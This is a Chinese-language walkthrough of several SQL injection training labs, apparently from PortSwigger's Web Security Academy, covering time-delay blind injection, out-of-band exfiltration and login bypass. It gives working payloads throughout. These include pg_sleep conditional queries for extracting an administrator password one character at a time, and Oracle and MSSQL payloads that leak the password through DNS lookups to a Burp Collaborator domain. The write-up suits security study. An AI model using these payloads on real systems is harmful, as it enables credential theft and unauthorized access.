11 具有时间延迟的盲 SQL 注入
描述
本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。
SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行或导致错误而做出任何不同的响应。但是,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。
解决实验室,利用SQL注入漏洞造成10秒延迟。
解决方案
- 访问店铺首页,使用Burp Suite拦截修改包含TrackingIdcookie的请求。
- 修改TrackingIdcookie,将其更改为:TrackingId=x'||pg_sleep(10)--
- 提交请求并观察应用程序需要 10 秒的响应时间。
image-20210827144143863
forward一下就OK了
12 具有时间延迟和信息检索的盲 SQL 注入
描述
本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。
SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行或导致错误而做出任何不同的响应。但是,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。
数据库包含一个名为 的不同表users,其列名为username和password。您需要利用SQL盲注漏洞找出administrator用户的密码。
要解决实验室,请以administrator用户身份登录。
解决方案
访问店铺首页,使用Burp Suite拦截修改包含TrackingIdcookie的请求。
修改TrackingIdcookie,将其更改为:x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--。验证应用程序需要 10 秒的响应时间。
image-20210903160809574
现在将其更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--。验证应用程序是否立即响应,没有时间延迟。这演示了如何测试单个布尔条件并推断结果。
1=1为真,延时10s
image-20210904003940886
1=2为假,不延时
image-20210904004023082
现在将其更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。验证条件是否为真,确认存在名为 的用户administrator。
image-20210904004201164
下一步是确定administrator用户的密码中有多少个字符。为此,请将值更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。此条件为真,说明密码长度大于 1 个字符。
image-20210904004634653
发送一系列后续值来测试不同的密码长度。发送:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。然后发送:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即应用程序立即响应而没有时间延迟),您就确定了密码的长度,实际上是 20 个字符长。
image-20210904004832365
确定密码长度后,下一步是测试每个位置的字符以确定其值。这涉及大量请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。
在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear”按钮清除默认的有效载荷位置。
在 Positions 选项卡中,将 cookie 的值更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--。这使用该SUBSTRING()函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。sleep时间修改为5s,10太久了,等不起
image-20210904010308843
第一个变量范围1-20
image-20210904005811705
第二个变量范围0-9和a-z和A-Z
image-20210904010005102
设置线程为1,大于1时,延时注入会出问题
image-20210904010043122
开始攻击
勾选Columns的Response received,可以看到响应时间
image-20210904010339493
image-20210904010444168
剩下的交给时间~一共要跑8分钟左右,等待吧
按响应时间排序,选中大于5秒的高亮
image-20210904014754024
仅显示高亮内容
image-20210904014820446
image-20210904014436970
得到密码
klwpbqfvbp89fpro4mcm
在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。
image-20210904014621142
13 带外交互的 SQL 盲注入
描述
本实验包含一个SQL 盲注漏洞。应用程序使用cookie的TrackingId 进行分析,并执行包含提交的 cookie 值的 SQL 查询。
SQL 查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。
为解决实验室问题,利用SQL 注入漏洞对 Burp Collaborator 进行 DNS 查找。
解决方案
TrackingId=glE0TyDtJb7YmBv1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://oogz2awwfyduijad55begf63xu3kr9.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
域名使用bp获得
image-20210827163737683
点击copy获取url
image-20210827163756483
020cf8215l92d7bwhispy1nh288ywn.burpcollaborator.net
替换到payload
TrackingId=glE0TyDtJb7YmBv1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://020cf8215l92d7bwhispy1nh288ywn.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
url编码后send
image-20210827163927811
点击poll now刷新信息
image-20210827163953091
image-20210827164015770
确认触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中窃取数据。例如:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
此输入读取Administrator用户的密码,附加唯一的 Collaborator 子域,并触发 DNS 查找。这将导致如下所示的 DNS 查找,允许您查看捕获的密码:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
带外 (OAST) 技术是一种非常强大的检测和利用 SQL 盲注入的方法,因为成功的可能性很高,并且能够直接在带外通道内泄露数据。出于这个原因,即使在其他盲开发技术确实有效的情况下,OAST 技术通常也是可取的。
14 带外数据泄露的 SQL 盲注入
描述
本实验包含一个SQL 盲注漏洞。应用程序使用 cookie TrackingId进行分析,并执行包含提交的 cookie 值的 SQL 查询。
SQL 查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。
数据库包含一个名为 的不同表users,其列名为username和password。您需要利用SQL盲注漏洞找出administrator用户的密码。
要解决实验室,请以administrator用户身份登录。
解决方案
带外数据泄露的 SQL 盲注入语句 SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual 查询oracle版本payload ' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT version FROM v$instance)||'.mtjcevsoi237zk9akrffu9zuyl4bs0.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual-- 查询密码的payload ' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.mtjcevsoi237zk9akrffu9zuyl4bs0.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
oracle版本
image-20210827165654961
获取密码
image-20210827165329503
得到密码administrator/miasvdbzu5zx47y9rdnh
image-20210827165351856
登录
image-20210827165444744
15 WHERE 子句中的 SQL 注入漏洞允许检索隐藏数据
描述
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。当用户选择一个类别时,应用程序会执行如下 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
为了解决实验室问题,执行 SQL 注入攻击,使应用程序显示任何类别中所有产品的详细信息,包括已发布的和未发布的。
解决方案
进入实验室
1.使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
2.修改category参数,赋予其值'+OR+1=1--或'+OR+'1'--
image-20210731161805914
3.提交请求,并验证响应现在包含其他项目。
image-20210731161818521
16 SQL注入漏洞允许登录绕过
描述
本实验包含登录功能中的SQL 注入漏洞。
为了解决实验,执行 SQL 注入攻击,以administrator用户身份登录到应用程序。
解决方案
- 使用 Burp Suite 拦截和修改登录请求。
- 修改username参数,赋予其值:administrator'--或administrator' OR 1=1--,注意,这里的空格不能由+代替
image-20210731162549251
17 SQL备忘录xmind
这是我从sql备忘录中抄下来的xmind文档可用于查阅 链接:https://pan.baidu.com/s/1Y0wiiXVl75Q0-nDV2fT5QA 提取码:miss